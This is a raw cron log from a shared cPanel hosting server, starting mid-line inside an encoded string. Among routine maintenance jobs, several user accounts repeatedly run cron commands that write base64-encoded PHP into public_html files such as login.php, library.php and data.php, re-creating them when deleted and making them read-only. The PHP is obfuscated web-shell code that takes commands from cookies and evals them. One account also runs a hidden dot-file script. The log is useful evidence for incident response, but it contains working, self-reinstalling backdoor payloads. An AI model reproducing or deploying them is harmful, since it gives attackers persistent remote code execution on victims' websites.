JF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:43:02 medusa CROND[6925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:44:01 medusa CROND[23779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:44:01 medusa CROND[23780]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:44:01 medusa CROND[23781]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:44:01 medusa CROND[23782]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:44:01 medusa CROND[23783]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 09:44:01 medusa CROND[23787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:44:01 medusa CROND[23788]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:44:01 medusa CROND[23790]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:44:01 medusa CROND[23792]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:44:01 medusa CROND[23793]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:44:01 medusa CROND[23794]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:44:01 medusa CROND[23791]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:44:01 medusa CROND[23807]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:45:01 medusa CROND[12312]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 09:45:01 medusa CROND[12589]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 09:45:01 medusa CROND[12590]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:45:01 medusa CROND[12595]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 09:45:01 medusa CROND[12598]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:45:01 medusa CROND[12601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:45:01 medusa CROND[12602]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:45:01 medusa CROND[12603]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 09:45:01 medusa CROND[12599]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:45:01 medusa CROND[12600]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:45:01 medusa CROND[12609]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:45:01 medusa CROND[12610]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:45:01 medusa CROND[12604]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 09:45:01 medusa CROND[12614]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 09:45:01 medusa CROND[12621]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 09:45:01 medusa CROND[12596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 09:45:01 medusa CROND[12625]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:45:01 medusa CROND[12634]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 09:45:01 medusa CROND[12597]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 09:45:01 medusa CROND[12632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:45:01 medusa CROND[12622]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 09:45:01 medusa CROND[12626]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 09:45:01 medusa CROND[12649]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:46:01 medusa CROND[28251]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 09:46:01 medusa CROND[28295]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:46:01 medusa CROND[28336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:46:02 medusa CROND[28575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:46:02 medusa CROND[28576]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
